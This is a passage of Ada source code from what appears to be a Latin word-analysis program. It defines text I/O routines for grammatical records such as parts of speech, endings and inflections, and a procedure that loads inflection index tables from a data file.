procedure PUT(F : in FILE_TYPE; VP : in SUPINE_RECORD) is
begin
PUT(F, VP.CON);
PUT(F, ' ');
PUT(F, VP.CS);
PUT(F, ' ');
PUT(F, VP.NUMBER);
PUT(F, ' ');
PUT(F, VP.GENDER);
end PUT;
procedure PUT(VP : in SUPINE_RECORD) is
begin
PUT(VP.CON);
PUT(' ');
PUT(VP.CS);
PUT(' ');
PUT(VP.NUMBER);
PUT(' ');
PUT(VP.GENDER);
end PUT;
procedure GET(S : in STRING; VP : out SUPINE_RECORD; LAST : out INTEGER) is
L : INTEGER := S'FIRST - 1;
begin
GET(S(L+1..S'LAST), VP.CON, L);
L := L + 1;
GET(S(L+1..S'LAST), VP.CS, L);
L := L + 1;
GET(S(L+1..S'LAST), VP.NUMBER, L);
L := L + 1;
GET(S(L+1..S'LAST), VP.GENDER, LAST);
end GET;
procedure PUT(S : out STRING; VP : in SUPINE_RECORD) is
L : INTEGER := S'FIRST - 1;
M : INTEGER := 0;
begin
M := L + DECN_RECORD_IO.DEFAULT_WIDTH;
PUT(S(L+1..M), VP.CON);
L := M + 1;
S(L) := ' ';
M := L + CASE_TYPE_IO.DEFAULT_WIDTH;
PUT(S(L+1..M), VP.CS);
L := M + 1;
S(L) := ' ';
M := L + NUMBER_TYPE_IO.DEFAULT_WIDTH;
PUT(S(L+1..M), VP.NUMBER);
L := M + 1;
S(L) := ' ';
M := L + GENDER_TYPE_IO.DEFAULT_WIDTH;
PUT(S(L+1..M), VP.GENDER);
S(M+1..S'LAST) := (others => ' ');
end PUT;
end SUPINE_RECORD_IO;
package body PREPOSITION_RECORD_IO is
use CASE_TYPE_IO;
SPACER : CHARACTER := ' ';
procedure GET(F : in FILE_TYPE; P : out PREPOSITION_RECORD) is
begin
GET(F, P.OBJ);
end GET;
procedure GET(P : out PREPOSITION_RECORD) is
begin
GET(P.OBJ);
end GET;
procedure PUT(F : in FILE_TYPE; P : in PREPOSITION_RECORD) is
begin
PUT(F, P.OBJ);
end PUT;
procedure PUT(P : in PREPOSITION_RECORD) is
begin
PUT(P.OBJ);
end PUT;
procedure GET(S : in STRING; P : out PREPOSITION_RECORD; LAST : out INTEGER) is
L : INTEGER := S'FIRST - 1;
begin
GET(S(L+1..S'LAST), P.OBJ, LAST);
end GET;
procedure PUT(S : out STRING; P : in PREPOSITION_RECORD) is
L : INTEGER := S'FIRST - 1;
M : INTEGER := 0;
begin
M := L + CASE_TYPE_IO.DEFAULT_WIDTH;
PUT(S(L+1..M), P.OBJ);
S(M+1..S'LAST) := (others => ' ');
end PUT;
end PREPOSITION_RECORD_IO;
package body CONJUNCTION_RECORD_IO is
NULL_CONJUNCTION_RECORD : CONJUNCTION_RECORD;
SPACER : CHARACTER := ' ';
procedure GET(F : in FILE_TYPE; C : out CONJUNCTION_RECORD) is
-- There is actually nothing to a CONJUNCTION_RECORD, no compoonents
begin
C := NULL_CONJUNCTION_RECORD;
end GET;
procedure GET(C : out CONJUNCTION_RECORD) is
begin
C := NULL_CONJUNCTION_RECORD;
end GET;
procedure PUT(F : in FILE_TYPE; C : in CONJUNCTION_RECORD) is
begin
null;
end PUT;
procedure PUT(C : in CONJUNCTION_RECORD) is
begin
null;
end PUT;
procedure GET(S : in STRING; C : out CONJUNCTION_RECORD; LAST : out INTEGER) is
L : INTEGER := S'FIRST - 1;
begin
C := NULL_CONJUNCTION_RECORD;
LAST := L - 1; -- LAST did not even get to S'FIRST, since nothing to read
end GET;
procedure PUT(S : out STRING; C : in CONJUNCTION_RECORD) is
-- Since there is no component, just make the out string blank
begin
S(S'FIRST..S'LAST) := (others => ' ');
end PUT;
end CONJUNCTION_RECORD_IO;
package body INTERJECTION_RECORD_IO is
NULL_INTERJECTION_RECORD : INTERJECTION_RECORD;
SPACER : CHARACTER := ' ';
procedure GET(F : in FILE_TYPE; I : out INTERJECTION_RECORD) is
begin
I := NULL_INTERJECTION_RECORD;
end GET;
procedure GET(I : out INTERJECTION_RECORD) is
begin
I := NULL_INTERJECTION_RECORD;
end GET;
procedure PUT(F : in FILE_TYPE; I : in INTERJECTION_RECORD) is
begin
null;
end PUT;
procedure PUT(I : in INTERJECTION_RECORD) is
begin
null;
end PUT;
procedure GET(S : in STRING; I : out INTERJECTION_RECORD; LAST : out INTEGER) is
L : INTEGER := S'FIRST - 1;
begin
I := NULL_INTERJECTION_RECORD;
LAST := L - 1;
end GET;
procedure PUT(S : out STRING; I : in INTERJECTION_RECORD) is
begin
S(S'FIRST..S'LAST) := (others => ' ');
end PUT;
end INTERJECTION_RECORD_IO;
package body TACKON_RECORD_IO is
NULL_TACKON_RECORD : TACKON_RECORD;
SPACER : CHARACTER := ' ';
procedure GET(F : in FILE_TYPE; I : out TACKON_RECORD) is
begin
I := NULL_TACKON_RECORD;
end GET;
procedure GET(I : out TACKON_RECORD) is
begin
I := NULL_TACKON_RECORD;
end GET;
procedure PUT(F : in FILE_TYPE; I : in TACKON_RECORD) is
begin
null;
end PUT;
procedure PUT(I : in TACKON_RECORD) is
begin
null;
end PUT;
procedure GET(S : in STRING; I : out TACKON_RECORD; LAST : out INTEGER) is
L : INTEGER := S'FIRST - 1;
begin
I := NULL_TACKON_RECORD;
LAST := L - 1;
end GET;
procedure PUT(S : out STRING; I : in TACKON_RECORD) is
begin
S(S'FIRST..S'LAST) := (others => ' ');
end PUT;
end TACKON_RECORD_IO;
package body PREFIX_RECORD_IO is
procedure GET(F : in FILE_TYPE; P : out PREFIX_RECORD) is
begin
P := NULL_PREFIX_RECORD;
end GET;
procedure GET(P : out PREFIX_RECORD) is
begin
P := NULL_PREFIX_RECORD;
end GET;
procedure PUT(F : in FILE_TYPE; P : in PREFIX_RECORD) is
begin
null;
end PUT;
procedure PUT(P : in PREFIX_RECORD) is
begin
null;
end PUT;
procedure GET(S : in STRING; P : out PREFIX_RECORD; LAST : out INTEGER) is
L : INTEGER := S'FIRST - 1;
begin
P := NULL_PREFIX_RECORD;
LAST := L - 1;
end GET;
procedure PUT(S : out STRING; P : in PREFIX_RECORD) is
begin
S(S'FIRST..S'LAST) := (others => ' ');
end PUT;
end PREFIX_RECORD_IO;
package body SUFFIX_RECORD_IO is
procedure GET(F : in FILE_TYPE; P : out SUFFIX_RECORD) is
begin
P := NULL_SUFFIX_RECORD;
end GET;
procedure GET(P : out SUFFIX_RECORD) is
begin
P := NULL_SUFFIX_RECORD;
end GET;
procedure PUT(F : in FILE_TYPE; P : in SUFFIX_RECORD) is
begin
null;
end PUT;
procedure PUT(P : in SUFFIX_RECORD) is
begin
null;
end PUT;
procedure GET(S : in STRING; P : out SUFFIX_RECORD; LAST : out INTEGER) is
L : INTEGER := S'FIRST - 1;
begin
P := NULL_SUFFIX_RECORD;
LAST := L - 1;
end GET;
procedure PUT(S : out STRING; P : in SUFFIX_RECORD) is
begin
S(S'FIRST..S'LAST) := (others => ' ');
end PUT;
end SUFFIX_RECORD_IO;
package body QUALITY_RECORD_IO is
use PART_OF_SPEECH_TYPE_IO;
use NOUN_RECORD_IO;
use PRONOUN_RECORD_IO;
use PROPACK_RECORD_IO;
use ADJECTIVE_RECORD_IO;
use NUMERAL_RECORD_IO;
use ADVERB_RECORD_IO;
use VERB_RECORD_IO;
use VPAR_RECORD_IO;
use SUPINE_RECORD_IO;
use PREPOSITION_RECORD_IO;
use CONJUNCTION_RECORD_IO;
use INTERJECTION_RECORD_IO;
use TACKON_RECORD_IO;
use PREFIX_RECORD_IO;
use SUFFIX_RECORD_IO;
SPACER : CHARACTER := ' ';
NOUN : NOUN_RECORD;
PRONOUN : PRONOUN_RECORD;
PROPACK : PROPACK_RECORD;
ADJECTIVE : ADJECTIVE_RECORD;
ADVERB : ADVERB_RECORD;
VERB : VERB_RECORD;
VPARTICIPLE : VPAR_RECORD;
SUPIN : SUPINE_RECORD;
PREPOSITION : PREPOSITION_RECORD;
CONJUNCTION : CONJUNCTION_RECORD;
INTERJECTION : INTERJECTION_RECORD;
NUMERAL : NUMERAL_RECORD;
TACKN : TACKON_RECORD;
PREFX : PREFIX_RECORD;
SUFFX : SUFFIX_RECORD;
PR : QUALITY_RECORD;
procedure GET(F : in FILE_TYPE; P : out QUALITY_RECORD) is
PS : PART_OF_SPEECH_TYPE := X;
begin
GET(F, PS);
GET(F, SPACER);
case PS is
when N =>
GET(F, NOUN);
P := (N, NOUN);
when PRON =>
GET(F, PRONOUN);
P := (PRON, PRONOUN);
when PACK =>
GET(F, PROPACK);
P := (PACK, PROPACK);
when ADJ =>
GET(F, ADJECTIVE);
P := (ADJ, ADJECTIVE);
when NUM =>
GET(F, NUMERAL);
P := (NUM, NUMERAL);
when ADV =>
GET(F, ADVERB);
P := (ADV, ADVERB);
when V =>
GET(F, VERB);
P := (V, VERB);
when VPAR =>
GET(F, VPARTICIPLE);
P := (VPAR, VPARTICIPLE);
when SUPINE =>
GET(F, SUPIN);
P := (SUPINE, SUPIN);
when PREP =>
GET(F, PREPOSITION);
P := (PREP, PREPOSITION);
when CONJ =>
GET(F, CONJUNCTION);
P := (CONJ, CONJUNCTION);
when INTERJ =>
GET(F, INTERJECTION);
P := (INTERJ, INTERJECTION);
when TACKON =>
GET(F, TACKN);
P := (TACKON, TACKN);
when PREFIX =>
GET(F, PREFX);
P := (PREFIX, PREFX);
when SUFFIX =>
GET(F, SUFFX);
P := (SUFFIX, SUFFX);
when X =>
P := (POFS => X);
end case;
return;
end GET;
procedure GET(P : out QUALITY_RECORD) is
PS : PART_OF_SPEECH_TYPE := X;
begin
GET(PS);
GET(SPACER);
case PS is
when N =>
GET(NOUN);
P := (N, NOUN);
when PRON =>
GET(PRONOUN);
P := (PRON, PRONOUN);
when PACK =>
GET(PROPACK);
P := (PACK, PROPACK);
when ADJ =>
GET(ADJECTIVE);
P := (ADJ, ADJECTIVE);
when NUM =>
GET(NUMERAL);
P := (NUM, NUMERAL);
when ADV =>
GET(ADVERB);
P := (ADV, ADVERB);
when V =>
GET(VERB);
P := (V, VERB);
when VPAR =>
GET(VPARTICIPLE);
P := (VPAR, VPARTICIPLE);
when SUPINE =>
GET(SUPIN);
P := (SUPINE, SUPIN);
when PREP =>
GET(PREPOSITION);
P := (PREP, PREPOSITION);
when CONJ =>
GET(CONJUNCTION);
P := (CONJ, CONJUNCTION);
when INTERJ =>
GET(INTERJECTION);
P := (INTERJ, INTERJECTION);
when TACKON =>
GET(TACKN);
P := (TACKON, TACKN);
when PREFIX =>
GET(PREFX);
P := (PREFIX, PREFX);
when SUFFIX =>
GET(SUFFX);
P := (SUFFIX, SUFFX);
when X =>
P := (POFS => X);
end case;
return;
end GET;
procedure PUT(F : in FILE_TYPE; P : in QUALITY_RECORD) is
C : POSITIVE := POSITIVE(COL(F));
begin
PUT(F, P.POFS);
PUT(F, ' ');
case P.POFS is
when N =>
PUT(F, P.N);
when PRON =>
PUT(F, P.PRON);
when PACK =>
PUT(F, P.PACK);
when ADJ =>
PUT(F, P.ADJ);
when NUM =>
PUT(F, P.NUM);
when ADV =>
PUT(F, P.ADV);
when V =>
PUT(F, P.V);
when VPAR =>
PUT(F, P.VPAR);
when SUPINE =>
PUT(F, P.SUPINE);
when PREP =>
PUT(F, P.PREP);
when CONJ =>
PUT(F, P.CONJ);
when INTERJ =>
PUT(F, P.INTERJ);
when TACKON =>
PUT(F, P.TACKON);
when PREFIX =>
PUT(F, P.PREFIX);
when SUFFIX =>
PUT(F, P.SUFFIX);
when others =>
null;
end case;
PUT(F, STRING'((INTEGER(COL(F))..QUALITY_RECORD_IO.DEFAULT_WIDTH+C-1 => ' ')));
return;
end PUT;
procedure PUT(P : in QUALITY_RECORD) is
C : POSITIVE := POSITIVE(COL);
begin
PUT(P.POFS);
PUT(' ');
case P.POFS is
when N =>
PUT(P.N);
when PRON =>
PUT(P.PRON);
when PACK =>
PUT(P.PACK);
when ADJ =>
PUT(P.ADJ);
when NUM =>
PUT(P.NUM);
when ADV =>
PUT(P.ADV);
when V =>
PUT(P.V);
when VPAR =>
PUT(P.VPAR);
when SUPINE =>
PUT(P.SUPINE);
when PREP =>
PUT(P.PREP);
when CONJ =>
PUT(P.CONJ);
when INTERJ =>
PUT(P.INTERJ);
when TACKON =>
PUT(P.TACKON);
when PREFIX =>
PUT(P.PREFIX);
when SUFFIX =>
PUT(P.SUFFIX);
when others =>
null;
end case;
PUT(STRING'((INTEGER(COL)..QUALITY_RECORD_IO.DEFAULT_WIDTH+C-1 => ' ')));
return;
end PUT;
procedure GET(S : in STRING; P : out QUALITY_RECORD; LAST : out INTEGER) is
L : INTEGER := S'FIRST - 1;
PS : PART_OF_SPEECH_TYPE := X;
begin
GET(S, PS, L);
LAST := L; -- In case it is not set later
L := L + 1;
case PS is
when N =>
GET(S(L+1..S'LAST), NOUN, LAST);
P := (N, NOUN);
when PRON =>
GET(S(L+1..S'LAST), PRONOUN, LAST);
P := (PRON, PRONOUN);
when PACK =>
GET(S(L+1..S'LAST), PROPACK, LAST);
P := (PACK, PROPACK);
when ADJ =>
GET(S(L+1..S'LAST), ADJECTIVE, LAST);
P := (ADJ, ADJECTIVE);
when NUM =>
GET(S(L+1..S'LAST), NUMERAL, LAST);
P := (NUM, NUMERAL);
when ADV =>
GET(S(L+1..S'LAST), ADVERB, LAST);
P := (ADV, ADVERB);
when V =>
GET(S(L+1..S'LAST), VERB, LAST);
P := (V, VERB);
when VPAR =>
GET(S(L+1..S'LAST), VPARTICIPLE, LAST);
P := (VPAR, VPARTICIPLE);
when SUPINE =>
GET(S(L+1..S'LAST), SUPIN, LAST);
P := (SUPINE, SUPIN);
when PREP =>
GET(S(L+1..S'LAST), PREPOSITION, LAST);
P := (PREP, PREPOSITION);
when CONJ =>
GET(S(L+1..S'LAST), CONJUNCTION, LAST);
P := (CONJ, CONJUNCTION);
when INTERJ =>
GET(S(L+1..S'LAST), INTERJECTION, LAST);
P := (INTERJ, INTERJECTION);
when TACKON =>
GET(S(L+1..S'LAST), TACKN, LAST);
P := (TACKON, TACKN);
when PREFIX =>
GET(S(L+1..S'LAST), PREFX, LAST);
P := (PREFIX, PREFX);
when SUFFIX =>
GET(S(L+1..S'LAST), SUFFX, LAST);
P := (SUFFIX, SUFFX);
when X =>
P := (POFS => X);
end case;
return;
end GET;
procedure PUT(S : out STRING; P : in QUALITY_RECORD) is
-- Note that this does not Put with a uniform width
-- which would require a constant QUALITY_RECORD_IO.DEFAULT_WIDTH
-- Rather we Put to minimal size with NOUN_RECORD_IO.DEFAULT_WIDTH,
-- PRONOUN_RECORD_IO,DEFAULT_WIDTH, ...
L : INTEGER := S'FIRST - 1;
M : INTEGER := 0;
begin
M := L + PART_OF_SPEECH_TYPE_IO.DEFAULT_WIDTH;
PUT(S(L+1..M), P.POFS);
L := M + 1;
S(L) := ' ';
case P.POFS is
when N =>
M := L + NOUN_RECORD_IO.DEFAULT_WIDTH;
PUT(S(L+1..M), P.N);
when PRON =>
M := L + PRONOUN_RECORD_IO.DEFAULT_WIDTH;
PUT(S(L+1..M), P.PRON);
when PACK =>
M := L + PROPACK_RECORD_IO.DEFAULT_WIDTH;
PUT(S(L+1..M), P.PACK);
when ADJ =>
M := L + ADJECTIVE_RECORD_IO.DEFAULT_WIDTH;
PUT(S(L+1..M), P.ADJ);
when NUM =>
M := L + NUMERAL_RECORD_IO.DEFAULT_WIDTH;
PUT(S(L+1..M), P.NUM);
when ADV =>
M := L + ADVERB_RECORD_IO.DEFAULT_WIDTH;
PUT(S(L+1..M), P.ADV);
when V =>
M := L + VERB_RECORD_IO.DEFAULT_WIDTH;
PUT(S(L+1..M), P.V);
when VPAR =>
M := L + VPAR_RECORD_IO.DEFAULT_WIDTH;
PUT(S(L+1..M), P.VPAR);
when SUPINE =>
M := L + SUPINE_RECORD_IO.DEFAULT_WIDTH;
PUT(S(L+1..M), P.SUPINE);
when PREP =>
M := L + PREPOSITION_RECORD_IO.DEFAULT_WIDTH;
PUT(S(L+1..M), P.PREP);
when CONJ =>
M := L + CONJUNCTION_RECORD_IO.DEFAULT_WIDTH;
PUT(S(L+1..M), P.CONJ);
when INTERJ =>
M := L + INTERJECTION_RECORD_IO.DEFAULT_WIDTH;
PUT(S(L+1..M), P.INTERJ);
when TACKON =>
M := L + TACKON_RECORD_IO.DEFAULT_WIDTH;
PUT(S(L+1..M), P.TACKON);
when PREFIX =>
M := L + PREFIX_RECORD_IO.DEFAULT_WIDTH;
PUT(S(L+1..M), P.PREFIX);
when SUFFIX =>
M := L + SUFFIX_RECORD_IO.DEFAULT_WIDTH;
PUT(S(L+1..M), P.SUFFIX);
when others =>
null;
end case;
S(M+1..S'LAST) := (others => ' ');
end PUT;
end QUALITY_RECORD_IO;
package body ENDING_RECORD_IO is
use INTEGER_IO;
use TEXT_IO;
SPACER : CHARACTER := ' ';
SF, BLANKS : ENDING := (others => ' ');
N : ENDING_SIZE_TYPE := 0;
procedure GET(F : in FILE_TYPE; X : out ENDING_RECORD) is
begin
SF := BLANKS;
GET(F, N);
if N = 0 then
X := NULL_ENDING_RECORD;
else
GET(F, SPACER); -- Note this means exactly one blank
GET(F, SF(1..N));
X := (N, SF);
end if;
end GET;
procedure GET(X : out ENDING_RECORD) is
begin
SF := BLANKS;
GET(N);
if N = 0 then
X := NULL_ENDING_RECORD;
else
GET(SPACER);
GET(SF(1..N));
X := (N, SF);
end if;
end GET;
procedure PUT(F : in FILE_TYPE; X : in ENDING_RECORD) is
begin
PUT(F, X.SIZE, 1);
PUT(F, ' ');
PUT(F, X.SUF(1..X.SIZE) & BLANKS(X.SIZE+1..MAX_ENDING_SIZE));
end PUT;
procedure PUT(X : in ENDING_RECORD) is
begin
PUT(X.SIZE, 1);
PUT(' ');
PUT(X.SUF(1..X.SIZE) & BLANKS(X.SIZE+1..MAX_ENDING_SIZE));
end PUT;
procedure GET(S : in STRING; X : out ENDING_RECORD; LAST : out INTEGER) is
L : INTEGER := S'FIRST - 1;
begin
SF := BLANKS;
GET(S(L+1..S'LAST), N, L);
if N = 0 then
X := NULL_ENDING_RECORD;
LAST := L;
else
L := L + 1;
--if S(L+N-1) = ' ' or else
-- S(L+N+1) /= ' ' then
--if
-- S(L+N+1) /= ' ' then
-- TEXT_IO.PUT_LINE("ERROR in INFLECTION =>" & S);
--else
SF := S(L+1..L+N) & BLANKS(N+1..MAX_ENDING_SIZE);
LAST := L + N;
X := (N, SF(1..N) & BLANKS(N+1..MAX_ENDING_SIZE));
--end if;
end if;
exception
when others =>
TEXT_IO.PUT_LINE("ENDING ERRROR " & S);
end GET;
procedure PUT(S : out STRING; X : in ENDING_RECORD) is
L : INTEGER := S'FIRST - 1;
M : INTEGER := 0;
begin
M := L + 2;
PUT(S(L+1..M), X.SIZE);
M := M + 1;
S(M) := ' ';
if X.SIZE > 0 then
L := M;
M := L + X.SIZE;
S(L+1..M) := X.SUF(1..X.SIZE);
end if;
-- Being very careful here, first to fill out to the MAX_ENDING_SIZE
L := M;
M := L + MAX_ENDING_SIZE - X.SIZE;
S(L+1..M) := (others => ' ');
-- Then to fill out the rest of the out string, if any
S(M+1..S'LAST) := (others => ' ');
end PUT;
end ENDING_RECORD_IO;
package body INFLECTION_RECORD_IO is
use QUALITY_RECORD_IO;
use STEM_KEY_TYPE_IO;
use ENDING_RECORD_IO;
use AGE_TYPE_IO;
use FREQUENCY_TYPE_IO;
SPACER : CHARACTER := ' ';
PE : INFLECTION_RECORD;
procedure GET(F : in FILE_TYPE; P : out INFLECTION_RECORD) is
begin
GET(F, P.QUAL);
GET(F, SPACER);
GET(F, P.KEY);
GET(F, SPACER);
GET(F, P.ENDING);
GET(F, SPACER);
GET(F, P.AGE);
GET(F, SPACER);
GET(F, P.FREQ);
end GET;
procedure GET(P : out INFLECTION_RECORD) is
begin
GET(P.QUAL);
GET(SPACER);
GET(P.KEY);
GET(SPACER);
GET(P.ENDING);
GET(SPACER);
GET(P.AGE);
GET(SPACER);
GET(P.FREQ);
end GET;
procedure PUT(F : in FILE_TYPE; P : in INFLECTION_RECORD) is
begin
PUT(F, P.QUAL);
PUT(F, ' ');
PUT(F, P.KEY, 1);
PUT(F, ' ');
PUT(F, P.ENDING);
PUT(F, ' ');
PUT(F, P.AGE);
PUT(F, ' ');
PUT(F, P.FREQ);
end PUT;
procedure PUT(P : in INFLECTION_RECORD) is
begin
PUT(P.QUAL);
PUT(' ');
PUT(P.KEY, 1);
PUT(' ');
PUT(P.ENDING);
PUT(' ');
PUT(P.AGE);
PUT(' ');
PUT(P.FREQ);
end PUT;
procedure GET(S : in STRING; P : out INFLECTION_RECORD; LAST : out INTEGER) is
L : INTEGER := S'FIRST - 1;
begin
LAST := 0;
P := PE;
GET(S(L+1..S'LAST), P.QUAL, L);
L := L + 1;
GET(S(L+1..S'LAST), P.KEY, L);
L := L + 1;
GET(S(L+1..S'LAST), P.ENDING, L);
L := L + 1;
GET(S(L+1..S'LAST), P.AGE, L);
L := L + 1;
GET(S(L+1..S'LAST), P.FREQ, LAST);
end GET;
procedure PUT(S : out STRING; P : in INFLECTION_RECORD) is
L : INTEGER := S'FIRST - 1;
M : INTEGER := 0;
begin
M := L + QUALITY_RECORD_IO.DEFAULT_WIDTH;
PUT(S(L+1..M), P.QUAL);
L := M + 1;
S(L) := ' ';
M := L + 1;
PUT(S(L+1..M), P.KEY);
L := M + 1;
S(L) := ' ';
M := L + ENDING_RECORD_IO.DEFAULT_WIDTH;
PUT(S(L+1..M), P.ENDING);
L := M + 1;
S(L) := ' ';
M := L + 1;
PUT(S(L+1..M), P.AGE);
L := M + 1;
S(L) := ' ';
M := L + 1;
PUT(S(L+1..M), P.FREQ);
S(M+1..S'LAST) := (others => ' ');
end PUT;
end INFLECTION_RECORD_IO;
procedure ESTABLISH_INFLECTIONS_SECTION is
-- Loads the inflection array from the file prepared in FILE_INFLECTIONS_SECTION
-- If N = 0 (an artifical flag for the section for blank inflections = 5)
-- computes the LELL..LELF indices for use in WORD
use TEXT_IO;
use INFLECTION_RECORD_IO;
use LEL_SECTION_IO;
procedure LOAD_LEL_INDEXES is
-- Load arrays from file
I : INTEGER := 0;
--IR : INFLECTION_RECORD;
N, XN : INTEGER := 0;
CH, XCH : CHARACTER := ' ';
INFLECTIONS_SECTIONS_FILE : LEL_SECTION_IO.FILE_TYPE;
begin
OPEN(INFLECTIONS_SECTIONS_FILE, IN_FILE, INFLECTIONS_SECTIONS_NAME);
NUMBER_OF_INFLECTIONS := 0;
LEL_SECTION_IO.READ(INFLECTIONS_SECTIONS_FILE,
LEL,
LEL_SECTION_IO.POSITIVE_COUNT(5));
I := 1;
BELF(0, ' ') := I;
BELL(0, ' ') := 0;
loop
exit when LEL(I) = NULL_INFLECTION_RECORD;
BEL(I) := LEL(I);
BELL(0, ' ') := I;
I := I + 1;
end loop;
NUMBER_OF_INFLECTIONS := NUMBER_OF_INFLECTIONS + I - 1;
LEL_SECTION_IO.READ(INFLECTIONS_SECTIONS_FILE,
LEL,
LEL_SECTION_IO.POSITIVE_COUNT(1));
I := 1;
N := LEL(I).ENDING.SIZE;
CH := LEL(I).ENDING.SUF(N);
XN := N;
XCH := CH;
LELF(N, CH) := I;
C1_LOOP:
loop
N1_LOOP:
loop
exit C1_LOOP when LEL(I) = NULL_INFLECTION_RECORD;
N := LEL(I).ENDING.SIZE;
CH := LEL(I).ENDING.SUF(N);
if CH /= XCH then
LELL(XN, XCH) := I - 1;
LELF(N, CH) := I;
LELL(N, CH) := 0;
XCH := CH;
XN := N;
elsif N /= XN then
LELL(XN, CH) := I - 1;
LELF(N, CH) := I;
LELL(N, CH) := 0;
XN := N;
exit N1_LOOP;
end if;
I := I + 1;
end loop N1_LOOP;
end loop C1_LOOP;
LELL(XN, XCH) := I - 1;
NUMBER_OF_INFLECTIONS := NUMBER_OF_INFLECTIONS + I - 1;
LEL_SECTION_IO.READ(INFLECTIONS_SECTIONS_FILE,
LEL,
LEL_SECTION_IO.POSITIVE_COUNT(2));
I := 1;
N := LEL(I).ENDING.SIZE;
CH := LEL(I).ENDING.SUF(N);
XN := N;
XCH := CH;
LELF(N, CH) := I;
C2_LOOP:
loop
N2_LOOP:
loop
exit C2_LOOP when LEL(I) = NULL_INFLECTION_RECORD;
N := LEL(I).ENDING.SIZE;
CH := LEL(I).ENDING.SUF(N);
exit when CH > 'r';
if CH /= XCH then
LELL(XN, XCH) := I - 1;
LELF(N, CH) := I;
LELL(N, CH) := 0;
XCH := CH;
XN := N;
elsif N /= XN then
LELL(XN, CH) := I - 1;
LELF(N, CH) := I;
LELL(N, CH) := 0;
XN := N;
exit N2_LOOP;
end if;
I := I + 1;
end loop N2_LOOP;
end loop C2_LOOP;
LELL(XN, XCH) := I - 1;
NUMBER_OF_INFLECTIONS := NUMBER_OF_INFLECTIONS + I - 1;
LEL_SECTION_IO.READ(INFLECTIONS_SECTIONS_FILE,
LEL,
LEL_SECTION_IO.POSITIVE_COUNT(3));
I := 1;
N := LEL(I).ENDING.SIZE;
CH := LEL(I).ENDING.SUF(N);
XN := N;
XCH := CH;
LELF(N, CH) := I;
C3_LOOP:
loop
N3_LOOP:
loop
exit C3_LOOP when LEL(I) = NULL_INFLECTION_RECORD;
N := LEL(I).ENDING.SIZE;
CH := LEL(I).ENDING.SUF(N);
exit when CH > 's';
if CH /= XCH then
LELL(XN, XCH) := I - 1;
LELF(N, CH) := I;
LELL(N, CH) := 0;
XCH := CH;
XN := N;
elsif N /= XN then
LELL(XN, CH) := I - 1;
LELF(N, CH) := I;
LELL(N, CH) := 0;
XN := N;
exit N3_LOOP;
end if;
I := I + 1;
end loop N3_LOOP;
end loop C3_LOOP;
LELL(XN, XCH) := I - 1;
NUMBER_OF_INFLECTIONS := NUMBER_OF_INFLECTIONS + I - 1;
LEL_SECTION_IO.READ(INFLECTIONS_SECTIONS_FILE,
LEL,
LEL_SECTION_IO.POSITIVE_COUNT(4));
I := 1;
N := LEL(I).ENDING.SIZE;
CH := LEL(I).ENDING.SUF(N);
XN := N;
XCH := CH;
LELF(N, CH) := I;
C4_LOOP:
loop
N4_LOOP:
loop
exit C4_LOOP when LEL(I).QUAL.POFS = PRON and then
(LEL(I).QUAL.PRON.DECL.WHICH = 1 or
LEL(I).QUAL.PRON.DECL.WHICH = 2);
N := LEL(I).ENDING.SIZE;
CH := LEL(I).ENDING.SUF(N);
if CH /= XCH then
LELL(XN, XCH) := I - 1;
LELF(N, CH) := I;
LELL(N, CH) := 0;
XCH := CH;
XN := N;
elsif N /= XN then
LELL(XN, CH) := I - 1;
LELF(N, CH) := I;
LELL(N, CH) := 0;
XN := N;
exit N4_LOOP;
end if;
I := I + 1;
end loop N4_LOOP;
end loop C4_LOOP;
LELL(XN, XCH) := I - 1;
begin
N := LEL(I).ENDING.SIZE;
CH := LEL(I).ENDING.SUF(N);
XN := N;
XCH := CH;
PELF(N, CH) := I;
PELL(N, CH) := 0;
C_P_LOOP:
loop
N_P_LOOP:
loop
exit C_P_LOOP when LEL(I) = NULL_INFLECTION_RECORD;
N := LEL(I).ENDING.SIZE;
CH := LEL(I).ENDING.SUF(N);
if CH /= XCH then
PELL(XN, XCH) := I - 1;
PELF(N, CH) := I;
PELL(N, CH) := 0;
XCH := CH;
XN := N;
elsif N /= XN then
PELL(XN, CH) := I - 1;
PELF(N, CH) := I;
PELL(N, CH) := 0;
XN := N;
exit N_P_LOOP;
end if;
I := I + 1;
end loop N_P_LOOP;
end loop C_P_LOOP;
exception
when CONSTRAINT_ERROR => null;
end;
PELL(XN, XCH) := I - 1;
NUMBER_OF_INFLECTIONS := NUMBER_OF_INFLECTIONS + I - 1;
CLOSE(INFLECTIONS_SECTIONS_FILE);
end LOAD_LEL_INDEXES;
begin
PREFACE.PUT("INFLECTION_ARRAY being loaded");
PREFACE.SET_COL(33);
PREFACE.PUT("-- ");
LOAD_LEL_INDEXES; -- Makes indexes from array
PREFACE.PUT(NUMBER_OF_INFLECTIONS, 6);
PREFACE.PUT(" entries");
PREFACE.SET_COL(55); PREFACE.PUT_LINE("-- Loaded correctly");
exception
when Text_IO.Name_Error =>
NEW_LINE;
PUT_LINE("There is no " & INFLECTIONS_SECTIONS_NAME & " file.");
PUT_LINE("The program cannot work without one.");
PUT_LINE("Make sure you are in the subdirectory containing the files");
PUT_LINE("for inflections, dictionary, addons and uniques.");
raise GIVE_UP;
end ESTABLISH_INFLECTIONS_SECTION;
begin -- initialization of body of INFLECTIONS_PACKAGE
--TEXT_IO.PUT_LINE("Initializing INFLECTIONS_PACKAGE");
PART_OF_SPEECH_TYPE_IO.DEFAULT_WIDTH := PART_OF_SPEECH_TYPE'WIDTH;
GENDER_TYPE_IO.DEFAULT_WIDTH := GENDER_TYPE'WIDTH;
CASE_TYPE_IO.DEFAULT_WIDTH := CASE_TYPE'WIDTH;
NUMBER_TYPE_IO.DEFAULT_WIDTH := NUMBER_TYPE'WIDTH;
PERSON_TYPE_IO.DEFAULT_WIDTH := 1;
COMPARISON_TYPE_IO.DEFAULT_WIDTH := COMPARISON_TYPE'WIDTH;
TENSE_TYPE_IO.DEFAULT_WIDTH := TENSE_TYPE'WIDTH;
VOICE_TYPE_IO.DEFAULT_WIDTH := VOICE_TYPE'WIDTH;
MOOD_TYPE_IO.DEFAULT_WIDTH := MOOD_TYPE'WIDTH;
NOUN_KIND_TYPE_IO.DEFAULT_WIDTH := NOUN_KIND_TYPE'WIDTH;
PRONOUN_KIND_TYPE_IO.DEFAULT_WIDTH := PRONOUN_KIND_TYPE'WIDTH;
VERB_KIND_TYPE_IO.DEFAULT_WIDTH := VERB_KIND_TYPE'WIDTH;
NUMERAL_SORT_TYPE_IO.DEFAULT_WIDTH := NUMERAL_SORT_TYPE'WIDTH;
AGE_TYPE_IO.DEFAULT_WIDTH := AGE_TYPE'WIDTH;
